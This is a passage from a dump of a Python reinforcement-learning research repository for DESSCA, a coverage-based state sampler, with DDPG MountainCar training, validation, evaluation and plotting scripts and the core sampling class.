norm_state = norm_state * 2 - 1\n\n return norm_state, reward, done, _\n\n def reset(self, **kwargs):\n\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n self._reward_list = []\n\n self.k = 0\n\n self.env.reset()\n if use_dessca:\n self.env.env.state = self.dessca_model.sample_optimally()\n else:\n self.env.env.state = np.random.uniform(low=self.env.env.low_state, high=self.env.env.high_state)\n\n if self.state_saver is None:\n self.state_saver = np.reshape(np.copy(self.env.env.state), (2, 1))\n else:\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.env.state, (2, 1)), axis=1)\n\n norm_state = (self.env.env.state - self.env.env.low_state) / (self.env.env.high_state - self.env.env.low_state)\n norm_state = norm_state * 2 - 1\n\n return norm_state\n\n def close(self):\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n self.env.close()\n\n save_dict = {\n \"state_history\": self.state_saver.tolist(),\n \"reward_history\": self._episode_reward_list\n }\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n with open('./' + experiment + \"/\" + experiment + '_' + str(self.try_nb) + '.json', 'w') as json_file:\n json.dump(save_dict, json_file)\n\nfor i in range(50):\n\n env = gym.make('MountainCarContinuous-v0')\n env = mountain_car_reset_wrapper(env, i)\n\n nb_actions = env.action_space.shape[0]\n actor = Sequential()\n actor.add(Flatten(input_shape=(1,) + env.observation_space.shape))\n actor.add(Dense(16, activation='relu'))\n actor.add(Dense(16, activation='relu'))\n actor.add(Dense(nb_actions, activation='linear',))\n actor.add(Lambda(lambda x: tf.clip_by_value(x, -1 ,1)))\n\n\n action_input = Input(shape=(nb_actions,), name='action_input')\n observation_input = Input(shape=(1,) + env.observation_space.shape, name='observation_input')\n flattened_observation = Flatten()(observation_input)\n x = Concatenate()([action_input, flattened_observation])\n x = Dense(32, activation='relu')(x)\n x = Dense(32, activation='relu')(x)\n x = Dense(32, activation='relu')(x)\n x = Dense(1, activation='linear')(x)\n critic = Model(inputs=(action_input, observation_input), outputs=x)\n\n random_process = OrnsteinUhlenbeckProcess(\n theta=0.1,\n mu=0.0,\n sigma=0.5,\n dt=1,\n sigma_min=0.00,\n n_steps_annealing=20000,\n size=nb_actions\n )\n\n memory = SequentialMemory(\n limit=5000,\n window_length=1\n )\n\n agent = DDPGAgent(\n # Pass the previously defined characteristics\n nb_actions=nb_actions,\n actor=actor,\n critic=critic,\n critic_action_input=action_input,\n memory=memory,\n random_process=random_process,\n # Define the overall training parameters\n nb_steps_warmup_actor=64,\n nb_steps_warmup_critic=64,\n target_model_update=100,\n gamma=0.9,\n batch_size=16,\n memory_interval=1\n )\n\n agent.compile([Adam(lr=1e-5), Adam(lr=1e-4)])\n\n agent.fit(\n env,\n nb_steps=30000,\n nb_max_start_steps=0,\n nb_max_episode_steps=10000,\n visualize=False,\n action_repetition=1,\n verbose=2,\n log_interval=10000,\n callbacks=[],\n )\n\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n agent.save_weights(filepath=\"./\" + experiment + \"/\" + experiment + \"_weights_\" + str(i) + \".hdf5\", overwrite=True)\n env.close()", "id": "3632792", "language": "Python", "matching_score": 7.638866424560547, "max_stars_count": 5, "path": "Examples/MountainCar/MountainCar_training.py" }, { "content": "import gym\nfrom gym.core import Wrapper\nimport numpy as np\nimport json\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Flatten, Input, Concatenate, Lambda\nfrom tensorflow.keras.optimizers import Adam\nfrom rl.agents import DDPGAgent\nfrom rl.memory import SequentialMemory\nfrom rl.random import OrnsteinUhlenbeckProcess\n\nuse_dessca = False\n\n\nwith open(\"ValidationInits.json\", 'r') as json_file:\n data = json.load(json_file)\n initial_states = np.copy(data[\"initial_states\"])\n\n\nclass mountain_car_reset_wrapper(Wrapper):\n\n def __init__(self, environment, try_nb):\n super().__init__(environment)\n\n self.try_nb = try_nb\n self.state_saver = None\n self._episode_reward_list = []\n\n self._init_state_iterator = 0\n\n def step(self, action):\n state, reward, done, _ = self.env.step(action)\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.env.state, (2, 1)), axis=1)\n self._reward_list.append(reward)\n self.k += 1\n\n if self.k == 200:\n done = True\n\n norm_state = (self.env.env.state - self.env.env.low_state) / (self.env.env.high_state - self.env.env.low_state)\n norm_state = norm_state * 2 - 1\n\n return norm_state, reward, done, _\n\n def reset(self, **kwargs):\n\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n\n self._reward_list = []\n self.k = 0\n\n self.env.reset()\n self.env.env.state = initial_states[:, self._init_state_iterator]\n self._init_state_iterator += 1\n\n if self.state_saver is None:\n self.state_saver = np.reshape(np.copy(self.env.env.state), (2, 1))\n else:\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.env.state, (2, 1)), axis=1)\n\n norm_state = (self.env.env.state - self.env.env.low_state) / (self.env.env.high_state - self.env.env.low_state)\n norm_state = norm_state * 2 - 1\n\n return norm_state\n\n def close(self):\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n self.env.close()\n\n save_dict = {\n \"state_history\": self.state_saver.tolist(),\n \"reward_history\": self._episode_reward_list\n }\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n with open('./' + experiment + \"/\" + experiment + '_Validation_' + str(self.try_nb) + '.json', 'w') as json_file:\n json.dump(save_dict, json_file)\n\nnb_agents = 50\nfor i in range(nb_agents):\n\n env = gym.make('MountainCarContinuous-v0')\n env = mountain_car_reset_wrapper(env, i)\n\n nb_actions = env.action_space.shape[0]\n actor = Sequential()\n actor.add(Flatten(input_shape=(1,) + env.observation_space.shape))\n actor.add(Dense(16, activation='relu'))\n actor.add(Dense(16, activation='relu'))\n actor.add(Dense(nb_actions, activation='linear',))\n actor.add(Lambda(lambda x: tf.clip_by_value(x, -1, 1)))\n\n\n action_input = Input(shape=(nb_actions,), name='action_input')\n observation_input = Input(shape=(1,) + env.observation_space.shape, name='observation_input')\n flattened_observation = Flatten()(observation_input)\n x = Concatenate()([action_input, flattened_observation])\n x = Dense(32, activation='relu')(x)\n x = Dense(32, activation='relu')(x)\n x = Dense(32, activation='relu')(x)\n x = Dense(1, activation='linear')(x)\n critic = Model(inputs=(action_input, observation_input), outputs=x)\n\n random_process = OrnsteinUhlenbeckProcess(\n theta=0.0,\n mu=0.0,\n sigma=0.0,\n dt=1,\n sigma_min=0.00,\n n_steps_annealing=20000,\n size=nb_actions\n )\n\n memory = SequentialMemory(\n limit=5000,\n window_length=1\n )\n\n agent = DDPGAgent(\n # Pass the previously defined characteristics\n nb_actions=nb_actions,\n actor=actor,\n critic=critic,\n critic_action_input=action_input,\n memory=memory,\n random_process=random_process,\n # Define the overall training parameters\n nb_steps_warmup_actor=64,\n nb_steps_warmup_critic=64,\n target_model_update=100,\n gamma=0.9,\n batch_size=16,\n memory_interval=1\n )\n\n agent.compile([Adam(lr=1e-5), Adam(lr=1e-4)])\n\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n agent.load_weights(filepath=\"./\" + experiment + \"/\" + experiment + \"_weights_\" + str(i) + \".hdf5\")\n\n history = agent.test(env,\n nb_episodes=1000,\n action_repetition=1,\n verbose=0,\n visualize=False,\n nb_max_episode_steps=500)\n\n print(f\"Done with Agent {i} / {nb_agents-1}\")\n env.close()\n", "id": "1356727", "language": "Python", "matching_score": 0.6904299259185791, "max_stars_count": 5, "path": "Examples/MountainCar/MountainCar_validation.py" }, { "content": "import json\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.append(\"../..\")\nfrom DESSCA import dessca_model\nimport os\n\n\nfrom matplotlib import rc\nrc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})\nrc('text', usetex=True)\n\ndef print_confidence_interval(data, alpha=0.05):\n whole_mean = np.mean(data)\n whole_std = np.std(data)\n z_l, z_u = sp.stats.norm.interval(1 - alpha, 0, 1)\n n = data.size\n print(f\"Sample mean = {whole_mean}\")\n print(f\"Lower bound = {whole_mean + z_l * whole_std / np.sqrt(n)}\")\n print(f\"Upper bound = {whole_mean + z_u * whole_std / np.sqrt(n)}\")\n\nexperiment_name = \"Uniform\"\nlogfiles = list(filter(lambda x: \"Validation\" in x, os.listdir(\"./\" + experiment_name)))\nfiles = [\"./\" + experiment_name + \"/\" + file for file in logfiles]\n\nreturns_per_agents = []\nfor _file in files:\n with open(_file, 'r') as json_file:\n data = json.load(json_file)\n\n states = np.copy(data[\"state_history\"])\n rewards = np.copy(data[\"reward_history\"])\n\n returns_this_agent = []\n for _episode in rewards:\n return_this_episode = np.sum(_episode)\n returns_this_agent.append(return_this_episode)\n\n returns_per_agents.append(returns_this_agent)\n\n\n model = dessca_model(box_constraints=[[ -1.2, 0.6],\n [-0.07, 0.07]],\n state_names=[\"position\", \"velocity\"])\n\n\nshortest_len = None\nfor _runs in returns_per_agents:\n if shortest_len is None:\n shortest_len = len(_runs)\n if len(_runs) < shortest_len:\n shortest_len = len(_runs)\n\nfor idx, G in enumerate(returns_per_agents):\n returns_per_agents[idx] = G[:shortest_len] # crop by minimum number of executed episodes\n\nreturns_per_agents = np.array(returns_per_agents)\nmean_GG_uniform = np.mean(returns_per_agents, axis=1)\nsigma_GG_uniform = np.std(returns_per_agents, axis=0)\n\nprint(\"Uniform CI\")\nprint_confidence_interval(returns_per_agents)\n\nexperiment_name = \"Dessca\"\nlogfiles = list(filter(lambda x: \"Validation\" in x, os.listdir(\"./\" + experiment_name)))\nfiles = [\"./\" + experiment_name + \"/\" + file for file in logfiles]\n\n\nreturns_per_agents = []\nfor _file in files:\n with open(_file, 'r') as json_file:\n data = json.load(json_file)\n\n states = np.copy(data[\"state_history\"])\n rewards = np.copy(data[\"reward_history\"])\n\n returns_this_agent = []\n for _episode in rewards:\n return_this_episode = np.sum(_episode)\n returns_this_agent.append(return_this_episode)\n\n returns_per_agents.append(returns_this_agent)\n\n\n model = dessca_model(box_constraints=[[ -1.2, 0.6],\n [-0.07, 0.07]],\n state_names=[\"position\", \"velocity\"])\n\nshortest_len = None\nfor _runs in returns_per_agents:\n if shortest_len is None:\n shortest_len = len(_runs)\n if len(_runs) < shortest_len:\n shortest_len = len(_runs)\n\nfor idx, G in enumerate(returns_per_agents):\n returns_per_agents[idx] = G[:shortest_len]\n\nreturns_per_agents = np.array(returns_per_agents)\nmean_GG_dessca = np.mean(returns_per_agents, axis=1)\n\nprint(\"Dessca CI\")\nprint_confidence_interval(returns_per_agents)\n\n\nmax_return = 100\nplt.figure(figsize=(3, 3))\nbox_uniform = plt.boxplot(mean_GG_uniform / max_return, positions=[0])\nbox_dessca = plt.boxplot(mean_GG_dessca / max_return, positions=[0.5])\nplt.grid()\nplt.xticks([0, 0.5], [r\"$\\mathrm{ES}$\", r\"$\\mathrm{DESSCA}$\"])\nplt.ylabel(r\"$g / g_\\mathrm{max}$\")\nplt.tick_params(axis='both', direction=\"in\", left=True, right=True, bottom=True, top=True)\n\nplotName = \"MC_Boxplots\" + '.pdf'\nplt.savefig(plotName, bbox_inches='tight')\nplt.close()\n\nprint(f\"ES MEDIAN: {np.median(mean_GG_uniform) / max_return}\")\nprint(f\"DESSCA MEDIAN: {np.median(mean_GG_dessca) / max_return}\")\nprint(f\"ES INTERQUARTILE RANGE: {sp.stats.iqr(mean_GG_uniform) / max_return}\")\nprint(f\"DESSCA INTERQUARTILE RANGE: {sp.stats.iqr(mean_GG_dessca) / max_return}\")\nprint(f\"relative improvement: {np.median(mean_GG_dessca) / np.median(mean_GG_uniform) - 1}\")\n", "id": "5743950", "language": "Python", "matching_score": 5.85627555847168, "max_stars_count": 5, "path": "Examples/MountainCar/MountainCar_validation_evaluation.py" }, { "content": "import json\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nimport h5py\nimport os\nimport sys\n\nfrom matplotlib import rc\nrc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})\nrc('text', usetex=True)\n\ndef print_confidence_interval(data, n=None, alpha=0.05):\n whole_mean = np.mean(data)\n whole_std = np.std(data)\n z_l, z_u = sp.stats.norm.interval(1 - alpha, 0, 1)\n if n is None:\n n = data.size\n print(f\"Sample mean = {whole_mean}\")\n print(f\"Lower bound = {whole_mean + z_l * whole_std / np.sqrt(n)}\")\n print(f\"Upper bound = {whole_mean + z_u * whole_std / np.sqrt(n)}\")\n\nexperiment_name = \"Uniform\"\nfiles = [\"./\" + experiment_name + \"/\" + experiment_name + \"_\" + str(nb) +\"/validation_0.hdf5\" for nb in range(50)]\n\nreturns_per_agents = []\nfor _file in files:\n with h5py.File(_file, \"r\") as f:\n rewards = np.copy(f[\"rewards\"])\n\n return_this_agent = np.sum(rewards)\n returns_per_agents.append(return_this_agent)\n\nreturns_per_agents_uniform = np.array(returns_per_agents)\n\nprint(\"Uniform CI\")\nprint_confidence_interval(returns_per_agents_uniform / 19050, n =50)\n\nexperiment_name = \"Dessca\"\nfiles = [\"./\" + experiment_name + \"/\" + experiment_name + \"_\" + str(nb) +\"/validation_0.hdf5\" for nb in range(50)]\n\nreturns_per_agents = []\nfor _file in files:\n with h5py.File(_file, \"r\") as f:\n rewards = np.copy(f[\"rewards\"])\n\n return_this_agent = np.sum(rewards)\n returns_per_agents.append(return_this_agent)\n\nreturns_per_agents_dessca = np.array(returns_per_agents)\n\nprint(\"DESSCA CI\")\nprint_confidence_interval(returns_per_agents_dessca / 19050, n =50)\n\nmax_return = 19050\n\nplt.figure(figsize=(3, 3))\nbox_uniform = plt.boxplot(returns_per_agents_uniform / max_return, positions=[0], showmeans=True)\nbox_dessca = plt.boxplot(returns_per_agents_dessca / max_return, positions=[0.5], showmeans=True)\nplt.grid()\nplt.xticks([0, 0.5], [r\"$\\mathrm{ES}$\", r\"$\\mathrm{DESSCA}$\"])\nplt.ylabel(r\"$g / g_\\mathrm{max}$\")\nplt.tick_params(axis='both', direction=\"in\", left=True, right=True, bottom=True, top=True)\n\nplotName = \"CurrentControl_Boxplots\" + '.pdf'\nplt.savefig(plotName, bbox_inches='tight')\nplt.close()\n\n\nprint(f\"ES MEDIAN: {np.median(returns_per_agents_uniform) / max_return}\")\nprint(f\"DESSCA MEDIAN: {np.median(returns_per_agents_dessca) / max_return}\")\nprint(f\"ES INTERQUARTILE RANGE: {sp.stats.iqr(returns_per_agents_uniform) / max_return}\")\nprint(f\"DESSCA INTERQUARTILE RANGE: {sp.stats.iqr(returns_per_agents_dessca) / max_return}\")\nprint(f\"relative improvement: {np.median(returns_per_agents_dessca) / np.median(returns_per_agents_uniform) - 1}\")\n", "id": "1918956", "language": "Python", "matching_score": 1.5166596174240112, "max_stars_count": 5, "path": "Examples/PMSM_CurrentControl/ddpg_pmsm_dqCC_validation_evaluation.py" }, { "content": "import h5py\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\nif __name__ == \"__main__\":\n agent_no = \"1\"\n folder_name = \"Dessca/Dessca_\" + agent_no\n #folder_name = \"Uniform/Uniform_\" + agent_no\n\n #file_name = \"training\"\n file_name = \"validation\"\n\n nb = 0\n most_recent = 0\n start_zoom = 0\n stop_zoom = 0\n\n if most_recent:\n files = [\"./\" + folder_name + \"/\" + file for file in os.listdir(\"./\" + folder_name) if (file.startswith(file_name))]\n files.sort(key=os.path.getmtime, reverse=True)\n path = files[0]\n nb = int(path[path.index(\"training_\") + len(\"training_\"): path.index(\".hdf5\")])\n else:\n path = folder_name + \"/\" + file_name + \"_\" + str(nb) + \".hdf5\"\n\n fig, axarr = plt.subplots(2, 2, figsize=(30, 15))\n fig.suptitle(folder_name + \"_episode_\" + str(nb), fontsize=16)\n\n with h5py.File(path, \"r\") as f:\n lim = np.copy(f['limits'])\n\n obs = np.transpose(np.copy(f['observations']))\n rew = np.copy(f['rewards'])\n history = np.copy(f['history'])\n\n for i in range(len(lim)):\n obs[i] = obs[i] * lim[i]\n\n tau = 1e-4\n\n plt.subplot(4, 3, 1)\n plt.title(\"i_d\")\n plt.plot(obs[0], color=\"blue\")\n plt.plot(obs[7], color=\"red\")\n plt.grid()\n\n plt.subplot(4, 3, 4)\n plt.title(\"i_q\")\n plt.plot(obs[1], color=\"blue\")\n plt.plot(obs[8], color=\"red\")\n plt.grid()\n\n plt.subplot(4, 3, 3)\n plt.title(\"\\omega\")\n plt.plot(obs[2], color=\"blue\")\n plt.grid()\n\n plt.subplot(4, 3, 7)\n plt.title(\"reward history\")\n plt.ylim([0.05, 0.15])\n plt.plot(history, color=\"blue\")\n plt.grid()\n\n epsilon = np.arctan2(obs[4], obs[3])\n plt.subplot(4, 3, 6)\n plt.title(\"\\epsilon\")\n plt.plot(epsilon)\n plt.grid()\n\n plt.subplot(4, 3, (2, 5))\n plt.title(\"i_d-i_q\")\n rect = plt.Rectangle((-280, -280), 560, 560, color=\"red\", alpha=0.5)\n plt.gcf().gca().add_artist(rect)\n circle = plt.Circle((0, 0), 270, color='orange', fill=True, alpha=0.5)\n plt.gcf().gca().add_artist(circle)\n circle = plt.Circle((0, 0), 230, color='white', fill=True)\n plt.gcf().gca().add_artist(circle)\n plt.plot(obs[0], obs[1], color=\"blue\")\n plt.scatter(obs[7], obs[8], color=\"red\", zorder=10)\n plt.scatter(obs[0][0], obs[1][0], color=\"red\", marker=\"x\", zorder=10)\n plt.xlim([-280, 280])\n plt.ylim([-280, 280])\n plt.grid()\n # plot voltage limits ellipsis\n p = 3\n r_s = 17.932e-3\n l_d = 0.37e-3\n l_q = 1.2e-3\n psi_p = 65.65e-3\n i_d = np.linspace(-280, 280, 1000)\n u, c = np.unique(obs[2], return_counts=True)\n dup = u[c > 5]\n w_el = dup * p\n for _w_el in w_el:\n V_s = lim[7] * 2 / np.sqrt(3)\n i_q_plus = np.sqrt(V_s ** 2 / (_w_el ** 2 * l_q ** 2) - (l_d ** 2) / (l_q ** 2) * (i_d + psi_p / l_d) ** 2)\n i_q_minus = - np.sqrt(V_s ** 2 / (_w_el ** 2 * l_q ** 2) - (l_d ** 2) / (l_q ** 2) * (i_d + psi_p / l_d) ** 2)\n plt.plot(i_d, i_q_plus, color=\"blue\")\n plt.plot(i_d, i_q_minus, color=\"blue\", label=r\"available voltage\")\n\n plt.subplot(4, 3, 8)\n plt.title(\"u_d\")\n plt.plot(obs[5])\n plt.grid()\n\n plt.subplot(4, 3, 9)\n plt.title(\"u_q\")\n plt.plot(obs[6])\n plt.grid()\n\n plt.subplot(4, 3, 10)\n plt.title(\"r\")\n plt.plot(rew)\n print(f\"Return: {np.sum(rew)}\")\n\n plt.subplot(4, 3, 11)\n plt.title(\"cos-sin(eps)\")\n plt.plot(obs[3], color=\"blue\")\n plt.plot(obs[4], color=\"red\")\n\n if most_recent:\n plotName = 'Plots/most_recent.pdf'\n else:\n plotName = 'Plots/' + file_name + \"_\" + str(nb) + '.pdf'\n\n plt.savefig(plotName, bbox_inches='tight')\n\n plt.close()", "id": "4626172", "language": "Python", "matching_score": 1.7054672241210938, "max_stars_count": 5, "path": "Examples/PMSM_CurrentControl/Plot_TimeDomain.py" }, { "content": "import numpy as np\nimport kalepy as kale\nimport pyswarms as ps\nimport matplotlib.pyplot as plt\n\n\nclass dessca_model:\n def __init__(self,\n box_constraints,\n bandwidth=None,\n reference_pdf=None,\n render_online=False,\n PSO_options=None,\n state_names=None,\n buffer_size=None):\n\n # one time initialization\n if bandwidth is None:\n # a bandwidth of 0.1 yielded empirically good results\n # the kalepy KDE package seems to rescale this bandwidth automatically to the given box constraints and dimension\n self.bandwidth = 0.1\n else:\n self.bandwidth = bandwidth # set the bandwidth for this estimator\n self.render_online = render_online\n self.dim = len(box_constraints)\n self.lower_bound = np.array(box_constraints)[:, 0]\n self.upper_bound = np.array(box_constraints)[:, -1]\n\n if PSO_options is None:\n PSO_options = {'c1': 2, 'c2': 2, 'w': 0.6}\n if state_names is None:\n self.state_names = [f\"$x_{i}$\" for i in range(self.dim)]\n else:\n self.state_names = state_names\n\n # instantiate a particle swarm optimizer\n self.optimizer = ps.single.GlobalBestPSO(n_particles=self.dim * 10,\n dimensions=self.dim,\n options=PSO_options,\n bounds=(self.lower_bound, self.upper_bound))\n\n if reference_pdf is None:\n # if no referece_pdf has been defined we assume uniform distribution on the axes\n _state_space_volume = np.product([_con[-1] - _con[0] for _con in box_constraints])\n def uniform_pdf(X):\n return 1 / _state_space_volume\n self.reference_pdf = uniform_pdf\n else:\n self.reference_pdf = reference_pdf\n\n # ring buffer for the collected states\n if buffer_size is None:\n self.buffer_size = np.inf\n self.buffer_idx = None\n self.coverage_data = np.empty((self.dim, 0))\n else:\n self.buffer_size = buffer_size\n self.buffer_idx = 0\n self.coverage_data = np.empty((self.dim, buffer_size)) * np.nan\n\n # cannot be determined before data is available\n self.nb_datapoints = 0\n self.coverage_pdf = None\n\n def update_coverage_pdf(self, data):\n if self.render_online:\n self.render_scatter(online_data=data)\n # append the newly acquired data\n if self.buffer_idx is None:\n self.coverage_data = np.append(self.coverage_data, np.array(data), axis=1)\n coverage_data = np.copy(self.coverage_data)\n else:\n self.coverage_data[:, self.buffer_idx] = np.reshape(data, (-1))\n self.buffer_idx = (self.buffer_idx + 1) % self.buffer_size\n first_nan_idx = np.where(np.isnan(self.coverage_data))\n if len(first_nan_idx[0]) > 0:\n coverage_data = self.coverage_data[:, 0:first_nan_idx[1][0]]\n else:\n coverage_data = np.copy(self.coverage_data)\n\n\n # unfortunately this is non-recursive, recursive KDE would be more time efficient\n if np.shape(coverage_data)[1] > np.max([self.dim, 2]):\n self.coverage_pdf = kale.KDE(dataset=coverage_data, bandwidth=self.bandwidth)\n else:\n # for small no. of samples the KDE package cannot perform a density estimation,\n # hence we work around this by duplicating and adding noise to the few available samples\n _tiled = np.tile(coverage_data, (1, np.max([self.dim, 2]) + 1))\n _noisy = _tiled + np.random.normal(0, 1, np.shape(_tiled))\n self.coverage_pdf = kale.KDE(dataset=_noisy, bandwidth=self.bandwidth)\n\n def _residual_coverage(self, X):\n # cost function for the optimization\n return\n\n def sample_optimally(self):\n # check if this is the first sample\n if self.coverage_pdf is not None:\n _, self.suggested_sample = self.optimizer.optimize(\n lambda X: self.coverage_pdf.density(np.transpose(X), probability=True)[1]\n - self.reference_pdf(np.transpose(X)),\n iters=self.dim * 10 + 5,\n verbose=False)\n self.optimizer.reset()\n\n else:\n # if this is the first sample, the optimal sample is solely based on the residual coverage\n _, self.suggested_sample = self.optimizer.optimize(lambda X: - self.reference_pdf(np.transpose(X)),\n iters=self.dim * 10 + 5,\n verbose=False)\n self.optimizer.reset()\n\n return self.suggested_sample\n\n def update_and_sample(self, data=None):\n if data is not None:\n self.update_coverage_pdf(data=data)\n return self.sample_optimally()\n\n def plot_heatmap(self, resolution=100, **kwargs):\n if self.dim == 1:\n print(\"Heatmap plot is not available for dim < 2\")\n else:\n kwargs.setdefault(\"cmap\", \"inferno\")\n kwargs.setdefault(\"vmin\", 0)\n kwargs.setdefault(\"aspect\", \"equal\")\n kwargs.setdefault(\"origin\", \"lower\")\n\n self.heatmap_fig, self.heatmap_axes = plt.subplots(self.dim, self.dim)\n self.heatmap_axes = np.reshape(self.heatmap_axes, (self.dim, self.dim))\n\n for i in range(self.dim):\n for j in range(self.dim):\n if j < i:\n _xj = np.linspace(self.lower_bound[j], self.upper_bound[j], resolution)\n _xi = np.linspace(self.lower_bound[i], self.upper_bound[i], resolution)\n grid = np.meshgrid(_xj, _xi, indexing=\"ij\")\n positions = np.vstack([_grid.ravel() for _grid in grid])\n kde = kale.KDE(np.concatenate(([self.coverage_data[j]], [self.coverage_data[i]]), axis=0))\n _, _disc_coverage = kde.density(positions, probability=True)\n _disc_coverage = np.reshape(_disc_coverage, grid[0].shape)\n img = self.heatmap_axes[i, j].imshow(np.transpose(_disc_coverage), **kwargs)\n self.heatmap_axes[i, j].set_xticks([])\n self.heatmap_axes[i, j].set_yticks([])\n if i == self.dim - 1:\n self.heatmap_axes[i, j].set_xlabel(self.state_names[j])\n if j == 0:\n self.heatmap_axes[i, j].set_ylabel(self.state_names[i])\n\n self.heatmap_fig.colorbar(img, ax=self.heatmap_axes.ravel().tolist())\n for _ax in self.heatmap_axes.flatten():\n if not _ax.images:\n _ax.remove()\n plt.show()\n return self.heatmap_fig, self.heatmap_axes\n\n def render_scatter(self, online_data=None):\n\n if not hasattr(self, \"scatter_fig\"):\n self.scatter_fig, self.scatter_axes = plt.subplots(self.dim, self.dim)\n self.scatter_axes = np.reshape(self.scatter_axes, (self.dim, self.dim))\n for i in range(self.dim):\n for j in range(self.dim):\n _j_margin = (self.upper_bound[j] - self.lower_bound[j]) * 0.1\n _i_margin = (self.upper_bound[i] - self.lower_bound[i]) * 0.1\n if j < i:\n self.scatter_axes[i, j].set_xlim(\n [self.lower_bound[j] - _j_margin, self.upper_bound[j] + _j_margin])\n self.scatter_axes[i, j].set_ylim(\n [self.lower_bound[i] - _i_margin, self.upper_bound[i] + _i_margin])\n if i == self.dim - 1:\n self.scatter_axes[i, j].set_xlabel(self.state_names[j])\n if j == 0:\n self.scatter_axes[i, j].set_ylabel(self.state_names[i])\n self.scatter_axes[i, j].grid(True)\n self.scatter_axes[i, j].set_aspect((self.upper_bound[j]\n - self.lower_bound[j]\n + 2 * _j_margin)\n / (self.upper_bound[i]\n - self.lower_bound[i]\n + 2 * _i_margin))\n elif i == j:\n self.scatter_axes[i, j].set_xlim(\n [self.lower_bound[j] - _j_margin, self.upper_bound[j] + _j_margin])\n self.scatter_axes[i, j].set_ylim([-0.1, 1.1])\n if i == self.dim - 1:\n plt.xlabel(self.state_names[i])\n self.scatter_axes[i, j].grid(True)\n self.scatter_axes[i, j].set_aspect((self.upper_bound[j]\n - self.lower_bound[j]\n + 2 * _j_margin)\n / (1.2))\n elif j > i:\n self.scatter_axes[i, j].remove()\n\n for i in range(self.dim):\n for j in range(self.dim):\n if j < i:\n if hasattr(self, \"_last_sample\"):\n self.scatter_axes[i, j].plot(self._last_sample[j], self._last_sample[i], \".\", color=\"blue\")\n self.scatter_axes[i, j].plot(online_data[j], online_data[i], \".\", color=\"orange\")\n\n if j == i:\n self.scatter_axes[i, j].plot(self.coverage_data[j], np.zeros_like(self.coverage_data[i]), \".\",\n color=\"blue\")\n self.scatter_axes[i, j].plot(self.suggested_sample[i], 0, \".\", color=\"orange\")\n\n\n self._last_sample = self.suggested_sample\n\n plt.pause(0.001)\n\n def plot_scatter(self,\n scatter_kwargs={}):\n\n\n if not hasattr(self, \"scatter_fig\") or not self.render_online:\n self.scatter_fig, self.scatter_axes = plt.subplots(self.dim, self.dim)\n self.scatter_axes = np.reshape(self.scatter_axes, (self.dim, self.dim))\n\n for i in range(self.dim):\n for j in range(self.dim):\n _j_margin = (self.upper_bound[j] - self.lower_bound[j]) * 0.1\n _i_margin = (self.upper_bound[i] - self.lower_bound[i]) * 0.1\n\n if j < i:\n self.scatter_axes[i, j].set_xlim([self.lower_bound[j] - _j_margin,\n self.upper_bound[j] + _j_margin])\n self.scatter_axes[i, j].set_ylim([self.lower_bound[i] - _i_margin,\n self.upper_bound[i] + _i_margin])\n if i == self.dim - 1:\n self.scatter_axes[i, j].set_xlabel(self.state_names[j])\n if j == 0:\n self.scatter_axes[i, j].set_ylabel(self.state_names[i])\n self.scatter_axes[i, j].grid(True)\n self.scatter_axes[i, j].set_aspect((self.upper_bound[j]\n - self.lower_bound[j]\n + 2 * _j_margin)\n / (self.upper_bound[i]\n - self.lower_bound[i]\n + 2 * _i_margin))\n elif i == j:\n self.scatter_axes[i, j].set_xlim(\n [self.lower_bound[j] - _j_margin, self.upper_bound[j] + _j_margin])\n self.scatter_axes[i, j].set_ylim([-0.1, 1.1])\n self.scatter_axes[i, j].grid(True)\n self.scatter_axes[i, j].set_aspect((self.upper_bound[j]\n - self.lower_bound[j]\n + 2 * _j_margin)\n / (1.2))\n elif j > i:\n self.scatter_axes[i, j].remove()\n\n for i in range(self.dim):\n for j in range(self.dim):\n if j < i:\n scatter_kwargs.setdefault(\"color\", \"blue\")\n scatter_kwargs.setdefault(\"marker\", \".\")\n scatter_kwargs.setdefault(\"linestyle\", \"\")\n self.scatter_axes[i, j].plot(self.coverage_data[j], self.coverage_data[i], **scatter_kwargs)\n\n if j == i:\n kde = kale.KDE(self.coverage_data[i], bandwidth=self.bandwidth)\n points, density = kde.density(np.linspace(self.lower_bound[i], self.upper_bound[i], 500),\n probability=True)\n self.scatter_axes[i, j].plot(points, density)\n self.scatter_axes[i, j].set_ylim([-0.1, np.max([1.1, np.max(density)])])\n _j_margin = (self.upper_bound[j] - self.lower_bound[j]) * 0.1\n self.scatter_axes[i, j].set_aspect((self.upper_bound[j]\n - self.lower_bound[j]\n + 2 * _j_margin)\n / (np.max([1.1, np.max(density)]) - 0.1))\n plt.grid(True)\n\n plt.show()\n\n return self.scatter_fig, self.scatter_axes\n", "id": "8007482", "language": "Python", "matching_score": 4.1934590339660645, "max_stars_count": 5, "path": "DESSCA.py" }, { "content": "import numpy as np\nimport time\n\n# This code snippet serves as a minimal usage example to DESSCA.\n# Firstly, import the dessca_model from DESSCA.py and create a corresponding object.\n# Make Sure to have DESSCA.py in the same folder as its application file\n\nfrom DESSCA import dessca_model\nmy_dessca_instance0 = dessca_model(box_constraints=[[-1, 1],\n [-1, 1]],\n state_names=[\"x1\", \"x2\"],\n bandwidth=0.5)\n\n# This model instance can be used on a two-dimensional state space.\n# Now let's make use of its functionality by viewing the state-space coverage of a dataset.\n# Here are some samples:\n\nsamples_2d = np.array([[-0.8, -0.8],\n [0.8, -0.8],\n [-0.8, 0.8],\n [0, 